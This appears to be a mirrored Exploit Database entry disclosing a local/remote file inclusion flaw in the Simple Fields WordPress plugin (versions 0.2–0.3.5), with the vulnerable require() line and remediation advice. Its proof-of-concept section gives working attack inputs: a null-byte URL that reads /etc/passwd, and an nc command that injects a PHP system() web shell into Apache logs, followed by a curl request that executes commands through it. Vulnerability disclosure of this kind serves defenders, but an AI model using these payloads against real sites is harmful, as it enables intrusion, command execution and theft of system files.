WordPress Plugin Simple Fields 0.2 – 0.3.5 – Local/Remote File Inclusion / Remote Code Execution

• Exploit Database
• 88 阅读

• 作者： Graeme Robinson
  日期： 2018-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44425/

• # Exploit Title: Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE
  # Date: 2018-04-08
  # Exploit Author: Graeme Robinson
  # Contact: @Grasec
  # Vendor Homepage: http://simple-fields.com
  # Software Link: https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip
  # Version: 0.2 - 0.3.5
  # Tested on: Ubuntu 16.04.4 + PHP 5.3.0
  # Category: webapps
  
  
  1. Description
  Versions 0.2 to 0.3.5 of the Simple Fields WordPress plugin are vulnerable to local file inclusion if running on PHP <5.3.4. This can even lead to remote code execution, for example by injecting php code into the apache logs or if allow_url_include is turned on in php.ini.
  
  PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4
  
  The vulnerability was fixed (commented out) in version 0.3.6 on 2011-02-03. Simple Fields is no longer actively developed, since 2016-02-27 (http://simple-fields.com/2016/bye-bye-simple-fields/)
  
  The vulnerable line of code in simple_fields.php is:
  require( $_GET["wp_abspath"] . './wp-blog-header.php' );
  
  
  2. Proof of concept
  LFI:
  http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00
  
  RCE:
  $ echo "<?system(\$_GET['cmd'])?>"|nc host 80
  $ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id"
  
  
  3. Solutions:
  * Upgrade PHP to 5.3.4+
  * Update Simple Fields to 0.3.6+
  * Stop using Simple Fields because it is no longer supported
  
  
  4. Relevant Links:
  * http://simple-fields.com
  * https://wordpress.org/plugins/simple-fields/
  * https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip
  * https://github.com/bonny/WordPress-Simple-Fields
  

  Python

  Copy